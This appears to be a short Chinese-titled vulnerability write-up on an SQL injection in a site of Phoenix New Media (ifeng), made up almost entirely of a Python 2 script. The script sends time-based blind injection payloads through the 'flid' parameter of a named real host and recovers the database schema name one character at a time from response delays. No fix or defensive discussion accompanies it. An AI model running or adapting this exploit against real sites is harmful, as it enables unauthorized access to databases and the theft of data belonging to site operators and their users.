凤凰网某站SQL注入

#!/usr/bin/env python
 #-*-coding:utf-8-*-
 
 import string
 import requests
 import time
 
 
 payloads = string.ascii_lowercase + string.digits + '_.@ '
 res = ''
 
 
 for i in range(1, 20):
  for p in payloads:
   start_time = time.time()
   url = "http://app.art.ifeng.com/?app=system&controller=fall&action=freelist_page&flid=if(now()=sysdate() and mid(schema(),{},1)='{}',sleep(1*3),2)&jsoncallback=jsonp1457941973953&page=2&_=1457941977376".format(i, p)
   req = requests.get(url)
   print req.url
   if time.time() - start_time > 3:
    res = res + p
    print "/n" + res + "/n"
    break
 print "/n/n[Finish]: " + res + "/n"